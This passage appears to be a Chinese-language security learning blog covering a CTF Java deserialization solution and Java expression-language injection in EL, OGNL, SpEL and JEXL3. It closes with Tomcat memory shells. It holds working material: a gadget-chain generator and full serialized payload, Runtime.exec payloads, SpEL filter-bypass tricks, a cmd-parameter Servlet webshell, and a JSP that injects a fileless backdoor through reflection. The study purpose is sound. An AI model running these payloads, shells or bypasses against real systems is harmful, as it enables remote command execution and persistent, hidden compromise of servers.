那么如何调用getObject呢?那当然是经典的getter了,当时依赖里有jackson,利用jackson里的BaseJsonNode触发getter,打法有点类似,利用BadAttributeValueExpException#readObject
触发POJONode#toString
接着触发getter。
提取依赖的方法:
# 解压 jar
mkdir tmp && cd tmp
jar xf ../ctf-0.0.1-SNAPSHOT.jar
# 进入 BOOT-INF/classes 目录
cd BOOT-INF/classes
# 重新打一个标准 jar
jar cf ../../../ctf-lib.jar .
然后代码如下:
import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class BabyUrl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
URLHelper handler = new URLHelper("File:///flag");
handler.visiter = new URLVisiter();
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(handler, privateKey, signingEngine);
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(val);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
}
用头哥的环境起一个:
docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/dfjk2023_babyurl
这里我直接用chmod 777 /flag了(注意payload需要url编码,在cyberchef里选encode all special chars):
GET /hack?payload=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAALXQAB0JhYnlVcmx0AAxCYWJ5VXJsLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0%2FA8lMbXsjhACAAFMAARsaXN0cQB%2BAAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AFXhzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXEAfgABeHIALWNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlZhbHVlTm9kZQAAAAAAAAABAgAAeHIAMGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLkJhc2VKc29uTm9kZQAAAAAAAAABAgAAeHBzcgAaamF2YS5zZWN1cml0eS5TaWduZWRPYmplY3QJ%2F71oKjzV%2FwIAA1sAB2NvbnRlbnR0AAJbQlsACXNpZ25hdHVyZXEAfgAbTAAMdGhlYWxnb3JpdGhtcQB%2BAAV4cHVyAAJbQqzzF%2FgGCFTgAgAAeHAAAAC4rO0ABXNyAB1jb20ueWFuY2FvLmN0Zi5iZWFuLlVSTEhlbHBlcgAAAAAAAAABAgACTAADdXJsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAHdmlzaXRlcnQAIExjb20veWFuY2FvL2N0Zi9iZWFuL1VSTFZpc2l0ZXI7eHB0AAxGaWxlOi8vL2ZsYWdzcgAeY29tLnlhbmNhby5jdGYuYmVhbi5VUkxWaXNpdGVyTECyy3jST0ACAAB4cHVxAH4AHQAAAC8wLQIVAIGev89CFNeOEwvxshHxaoduhvEHAhRywqBatdVYYiAdDKuZ3djtwWkT%2FXQAA0RTQQ%3D%3D HTTP/1.1
Host: localhost:12345
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
表达式注入
参考evo1ution以及这个黑马SpringMVC教程全套视频教程的入门案例本地搭了一个服务。
EL表达式
EL 表达式(Expression Language,表达式语言)是 Java EE(主要在 JSP 和 JSF 中)引入的一种简洁语法,用来访问数据、调用方法、进行简单逻辑运算。常见于 JSP 页面,用 ${}
包裹表达式。
maven里加个配置:
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
然后刷新一下,controller里加一个简单的测试类:
package com.itheima.controller;
public class ELFunc {
public static String doSomething(String string) {
return "Hello " + string + " !";
}
}
然后在WEB-INF
目录下创建test.tld
<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<tlib-version>1.0</tlib-version>
<short-name>ELFunc</short-name>
<uri>http://localhost:8080/springmvc_01_quickstart_war/ELFunc</uri>
<function>
<name>doSomething</name>
<function-class>com.itheima.controller.ELFunc</function-class>
<function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
</function>
</taglib>
最后在webapp目录创一个eltest.jsp:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page isELIgnored="false" %> <%-- 这里是开启EL表达式 --%>
<%@taglib uri="http://localhost:8080/springmvc_01_quickstart_war/ELFunc" prefix="ELFunc"%>
<html>
<head>
<title>ElTest</title>
</head>
<body>
${ELFunc:doSomething("fushuling")}
</body>
</html>
具体语法参考这个浅析EL表达式注入漏洞,反正经过上面的一通操作,你访问http://localhost:8080/springmvc_01_quickstart_war/eltest.jsp应该就有东西了,这就说明搭好了:
从文章里抄的通用poc:
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}
//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
//文件头参数
${header}
//获取webRoot
${applicationScope}
//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
比如如果jsp代码里出现了这个poc,就会直接弹计算器,非常的炫酷:
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
只不过一般而言,我们也没办法直接控制JSP里的EL表达式,目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的,比如我们下面介绍的这个CVE-2011-2730。
首先装上依赖:
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-api</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-spi</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-impl</artifactId>
<version>2.2.7</version>
</dependency>
CVE-2011-2730 是 Spring Framework 中的一个安全漏洞,影响了早期版本(如 2.5.6.SEC02 及更早版本,以及 3.0.0 至 3.0.5)。该漏洞源于在支持表达式语言(EL)的容器中,某些 Spring 标签(如 <spring:message>
、<spring:bind>
等)中的 EL 表达式被评估了两次,这可能允许攻击者通过精心构造的输入获取敏感信息,如内部服务器信息、类路径、工作目录和会话 ID。
这里我们写一个恶意代码例子:
package com.itheima.controller;
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
public class ELShell {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
String shell = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')}";
// 利用ScriptEngine调用JS引擎绕过
// String shell = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")}";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, shell, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}
OGNL表达式
OGNL(Object-Graph Navigation Language)是一种表达式语言,主要用于在 Java 对象图中读取和设置属性值。它最早用于 WebWork 框架(Struts2 的前身),后来也广泛用于 Struts2 等框架中,支持属性导航、集合操作、调用方法等复杂操作。
OGNL 类似于 EL 表达式(${}
),但功能更强:
- 对象图遍历(object graph navigation)—— 可以通过
person.address.city
一层层取值。 - 方法调用 —— 可以执行
user.getName()
。 - 集合访问 —— 可以访问
users[0].name
。 - 静态方法调用 —— 可以调用
@java.lang.Math@random()
。 - 运算符支持 —— 可以执行
age > 18 ? 'adult' : 'child'
。
首先装依赖
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>2.7.3</version>
</dependency>
具体语法参考一文读懂OGNL漏洞,常见的用法有:
//访问属性
name
user.name
person.address.city
//调用方法
user.getUsername()
//调用静态方法
@java.lang.Runtime@getRuntime().exec('calc')
比如看到我们下面这个代码示例:
package com.itheima.controller;
import ognl.Ognl;
import ognl.OgnlContext;
import java.util.HashMap;
import java.util.Map;
public class OgnlTest {
public static void main(String[] args) throws Exception {
OgnlContext context = new OgnlContext();
// 普通对象操作
User user = new User();
user.setName("塔菲");
context.put("user", user);
Object expr1 = Ognl.parseExpression("name");
System.out.println("user.name: " + Ognl.getValue(expr1, context, user)); // 输出塔菲
// Map取值
Map<String, String> map = new HashMap<>();
map.put("key", "value");
context.put("map", map);
Object expr2 = Ognl.parseExpression("#map['key']");
System.out.println("map.key: " + Ognl.getValue(expr2, context, context.getRoot()));
// 调用方法
Object expr3 = Ognl.parseExpression("'hello'.toUpperCase()");
System.out.println(Ognl.getValue(expr3, context, context.getRoot())); // 输出:HELLO
// 命令执行演示
Object expr4 = Ognl.parseExpression(
"@java.lang.Runtime@getRuntime().exec('calc.exe')"
);
Ognl.getValue(expr4, context, context.getRoot());
}
public static class User {
private String name;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
}
}
一些常用的payload:
// 获取 Context 里面的变量.
#user
#user.name
// 使用 Runtime 执行系统命令.
@java.lang.Runtime@getRuntime().exec("open -a Calculator")
// 使用 Processbuilder 执行系统命令.
(new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a", "Calculator"})).start()
// 获取当前路径.
@java.lang.System@getProperty("user.dir")
只不过Ognl>=3.1.25、Ognl>=3.2.12配置了黑名单检测,主要是在 OgnlRuntime.invokeMethod
中,添加了黑名单断,包括大部分可以用于命令执行的类:OgnlContext
、Runtime
、ClassLoader
、ProcessBuilder
等等,所以就打不通了。
SPEL表达式
SpEL(Spring Expression Language)是 Spring Framework 提供的一种强大的表达式语言,它支持在运行时查询和操作对象图。SpEL 通常用于配置文件、注解和 Spring Bean 定义中,例如用于条件判断、动态赋值、调用方法等。
SpEL 的基本语法格式是${ expression }
,表达式写在 #{}
中,Spring 会在运行时解析它,SpEL 支持的功能包括:
功能 | 示例 | 说明 |
---|---|---|
字面值 | #{123} , #{'hello'} | 支持数字、字符串、布尔 |
访问对象属性 | #{person.name} | 访问 Bean 的属性 |
调用方法 | #{person.getName()} | 运行时调用对象方法 |
算术运算 | #{1 + 2} , #{price * 0.9} | 支持 + - * / % |
逻辑运算 | #{age > 18} , #{flag && !done} | 比较和布尔逻辑 |
三元表达式 | #{age > 18 ? 'adult' : 'child'} | 条件判断 |
集合操作 | #{list[0]} , #{map['key']} | 支持下标访问 |
安全导航 | #{user?.name} | 避免 NullPointerException |
Bean 引用 | #{@myBean.someProperty} | 注入 Spring Bean |
反射调用类方法 | #{T(java.lang.Math).random()} | 用 T() 调用静态类方法 |
正则匹配 | #{name matches '[A-Z].*'} | 字符串正则匹配 |
构造对象 | #{new java.util.Date()} | 创建 Java 对象 |
这里的T中的内容会被解析为对应的类:
package com.itheima.controller;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpelTest {
public static void main(String[] args) {
String cmdStr = "T(java.lang.String)";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println(exp.getValue());//输出对应的类
}
}
自然我们也可以想到把他解析成 java.lang.Runtime
,这样就有RCE了。这里就无耻的抄袭大b哥的博客了: SPEL表达式注入总结及回显技术,看完就等于我学会了。
// PoC原型
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
******************************************************************************
// Bypass技巧
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
JEXL3表达式
JEXL(Java Expression Language)是 Apache Commons 提供的一个 Java 表达式语言库,JEXL3 是它的第三代实现,提供了类似 Java 语法的表达式解析和执行功能,常用于规则引擎、模板渲染、脚本执行等场景。JEXL 表达式是一种 简化版的 Java 语法表达式,它运行在 Java 虚拟机上,可以访问变量、调用方法、运算等,使用步骤一般是:
- 由 JEXL 引擎解析并执行表达式。
- 创建上下文(Context)并设置变量;
- 编写表达式;
先加一下依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-jexl3</artifactId>
<version>3.0</version>
</dependency>
详细的文章推荐这一篇:Nexus Repository Manager3 JEXL3表达式注入浅析,写个简单的小demo看看:
package com.itheima.controller;
import org.apache.commons.jexl3.*;
public class JexlDemo {
public static void main(String[] args) {
// 创建 JEXL 引擎
JexlEngine jexl = new JexlBuilder().create();
// 定义表达式
String expr = "user.name + ' 的年龄是 ' + user.age";
// 创建表达式对象
JexlExpression jexlExpr = jexl.createExpression(expr);
// 设置上下文变量
JexlContext context = new MapContext();
context.set("user", new User("塔菲", 18));
// 执行表达式
Object result = jexlExpr.evaluate(context);
System.out.println(result); // 输出:塔菲 的年龄是 18
}
public static class User {
public String name;
public int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
}
}
可以想见,既然他是简化版的Java语法表达式,自然也是可以直接执行命令的:
package com.itheima.controller;
import org.apache.commons.jexl3.*;
public class JexlTest {
public static void main(String[] args) {
String Exp = "233.class.forName('java.lang.Runtime').getRuntime().exec('calc')";
JexlEngine engine = new JexlBuilder().create();
JexlExpression Expression = engine.createExpression(Exp);
JexlContext Context = new MapContext();
Object rs = Expression.evaluate(Context);
System.out.println(rs);
}
}
内存马
Java 内存马(Memory Shell) 是一种高级持久化攻击技术,它不依赖于磁盘文件,而是通过代码动态注入、类加载器、反射、字节码操作等方式,将恶意代码直接“挂载”到运行中的 Java 应用程序内存中,从而实现持久控制和命令执行。
简单来说,内存马是在不落地写文件的情况下,把后门隐藏在内存中,通常挂在 Web 容器(如 Tomcat、Spring、Jetty)内部的特定执行链路上,核心原理有下面几个:
- Java 动态性:Java 允许运行时加载类(如
defineClass
),甚至修改现有类的行为。 - 类加载器(ClassLoader)机制:攻击者可将恶意类加载进 JVM,加入已有的类加载链。
- 反射与 Unsafe:可以突破访问控制,修改不可访问字段、注册组件。
- Web 容器执行链劫持:通过修改
Filter
、Servlet
、Listener
等组件行为,实现控制流劫持。 - 恶意组件注入:注入恶意的
Filter
/Servlet
等,成为“马”。
常见的内存马有这四种,目前也就先学这四种了:
类型 | 简介 | 挂载方式 |
---|---|---|
Filter型 内存马 | 注册恶意 Filter 拦截请求 | FilterRegistrationBean 动态注册或反射 |
Servlet型 内存马 | 注册恶意 Servlet 处理路径 | 反射修改 ServletContext |
Listener型 内存马 | 注册监听器执行恶意代码 | 添加监听器对象 |
Agent型 内存马 | 使用 Instrumentation 动态修改类字节码 | Java Agent attach 自注入 |
Valve型 内存马 | 注册自定义 Valve ,实现对请求的底层拦截和处理 | 通过反射获取 StandardContext 或 Engine,调用pipeline.addValve() 动态注册 |
Servlet型内存马
Servlet 是 Java EE(现 Jakarta EE)中的一个用于处理请求并生成响应的服务端组件,本质上是运行在 Web 服务器(如 Tomcat)中的 Java 类,专门用于响应 HTTP 请求,通常用来构建动态网页。简单来说,Servlet 是一种用于扩展服务器功能、专门处理 Web 请求(如 HTTP)的 Java 程序,运行在 Servlet 容器中。
这里我们写一个ServletDemo.java(上一章的时候想必大伙已经学会了如何用tomcat搭建一个简单的web服务):
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
// 通过注解配置路由路径,访问 http://localhost:8080/你的项目名/bkfish 会触发这个 Servlet
@WebServlet("/bkfish")
public class ServletDemo implements Servlet {
/**
* Servlet 被创建时调用,只执行一次。
* 通常用于初始化资源(如数据库连接、文件、缓存等)。
*/
@Override
public void init(ServletConfig config) throws ServletException {
System.out.println("init - Servlet 初始化");
}
/**
* 每次有请求访问这个 Servlet 时,都会调用 service() 方法。
* 所有的业务逻辑、请求处理、响应输出都应写在这里。
*/
@Override
public void service(ServletRequest request, ServletResponse response)
throws ServletException, IOException {
System.out.println("service - 处理请求");
// 设置响应内容类型(否则浏览器可能乱码)
response.setContentType("text/html;charset=UTF-8");
// 获取输出流,写回浏览器
response.getWriter().write("<h1>你好,塔菲!Servlet 运行成功!</h1>");
}
/**
* 当 Servlet 被销毁时调用(如项目重启、服务器关闭)。
* 通常用于资源释放(如关闭数据库连接、线程池等)。
*/
@Override
public void destroy() {
System.out.println("destroy - Servlet 销毁");
}
/**
* 获取 Servlet 的配置信息(较少使用,一般用不到)。
*/
@Override
public ServletConfig getServletConfig() {
return null;
}
/**
* 获取 Servlet 的描述信息(可用于文档/日志,一般用不到)。
*/
@Override
public String getServletInfo() {
return "这是一个简单的 Servlet 示例";
}
}
Servlet的生命周期如下:
生命周期阶段 | 对应方法 | 触发时机 |
---|---|---|
初始化 | init() | 第一次请求 Servlet 时由容器自动调用,只执行一次 |
请求处理 | service() | 每次请求都会执行一次(可处理所有请求类型) |
销毁 | destroy() | 应用关闭、重启或容器卸载 Servlet 时调用,只执行一次 |
当我们访问bkfish这个接口的时候,日志如下:
当我们关闭tomcat,就会显示摧毁:
这样我们就简单的走了一遍 Servlet 的工作流程,大致明白它是怎么个事儿。
那么现在如果我们想执行恶意代码,自然而然就会想到在service方法里写入代码,比如写一个马:
package com.itheima.controller;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
// 通过注解配置路由路径,访问 http://localhost:8080/你的项目名/bkfish 会触发这个 Servlet
@WebServlet("/bkfish")
public class ServletDemo implements Servlet {
/**
* Servlet 被创建时调用,只执行一次。
* 通常用于初始化资源(如数据库连接、文件、缓存等)。
*/
@Override
public void init(ServletConfig config) throws ServletException {
System.out.println("init - Servlet 初始化");
}
/**
* 每次有请求访问这个 Servlet 时,都会调用 service() 方法。
* 所有的业务逻辑、请求处理、响应输出都应写在这里。
*/
@Override
public void service(ServletRequest request, ServletResponse response)
throws ServletException, IOException {
System.out.println("service - 处理请求");
String cmd = request.getParameter("cmd");
if (cmd!= null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
return;
}
}
/**
* 当 Servlet 被销毁时调用(如项目重启、服务器关闭)。
* 通常用于资源释放(如关闭数据库连接、线程池等)。
*/
@Override
public void destroy() {
System.out.println("destroy - Servlet 销毁");
}
/**
* 获取 Servlet 的配置信息(较少使用,一般用不到)。
*/
@Override
public ServletConfig getServletConfig() {
return null;
}
/**
* 获取 Servlet 的描述信息(可用于文档/日志,一般用不到)。
*/
@Override
public String getServletInfo() {
return "这是一个简单的 Servlet 示例";
}
}
加一个依赖:
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.85</version>
<scope>provided</scope>
</dependency>
参考https://www.viewofthai.link/2022/07/20/servlet%e5%9e%8b%e5%86%85%e5%ad%98%e9%a9%ac/,把它变成一个SevletShell.jsp,而这其实是注入了一个内存马:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext"%>
<%@ page import = "org.apache.catalina.core.StandardContext"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "java.io.IOException"%>
<%@ page import = "java.lang.reflect.Field"%>
<%
class ServletDemo implements Servlet{
@Override
public void init(ServletConfig config) throws ServletException {}
@Override
public String getServletInfo() {return null;}
@Override
public void destroy() {} public ServletConfig getServletConfig() {return null;}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
}
}
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
ServletDemo demo = new ServletDemo();
org.apache.catalina.Wrapper demoWrapper = standardContext.createWrapper();
//设置Servlet名等
demoWrapper.setName("xyz");
demoWrapper.setLoadOnStartup(1);
demoWrapper.setServlet(demo);
demoWrapper.setServletClass(demo.getClass().getName());
standardContext.addChild(demoWrapper);
//设置ServletMap
standardContext.addServletMappingDecoded("/xyz", "xyz");
out.println("inject servlet success!");
%>
接着我们访问一次这个页面,应该能看到页面上显示inject servlet success!
,接着访问xyz接口,我们就可以执行命令了:
而在整个过程里我们没有写入文件,而是通过反射注入,绕过普通 Web 容器配置约束,一旦注入成功,只要 JVM 不重启,这个后门就一直生效。
参考Tomcat-Servlet型内存马,这里补充一点知识,Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的,Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):
- Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
- Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml
- Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
- Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
其中webapps文件夹即是我们的Host,webapps中的文件夹(如examples/ROOT)代表一个Context,每个Context内包含Wrapper,Wrapper 则负责管理容器内的 Servlet。
虽然StandardContext中提供了动态注册Servlet的方法,但是并未实现,所以需要我们自己去实现一个添加Servlet的功能。在Wrapper的初始化中,可以看到它首先是创建了一个Wrapper,然后通过set方法配置了一些属性,其中这个load-on-startup顾名思义就是配置启动优先级的:
接着继续配置wrapper的servletClass:
配置完成之后会将wrapper放入StandardContext的child里:
接着会遍历web.xml中servlet-mapping的servlet-name和对应的url-pattern,调用StandardContext.addServletMappingDecoded()
添加servlet对应的映射:
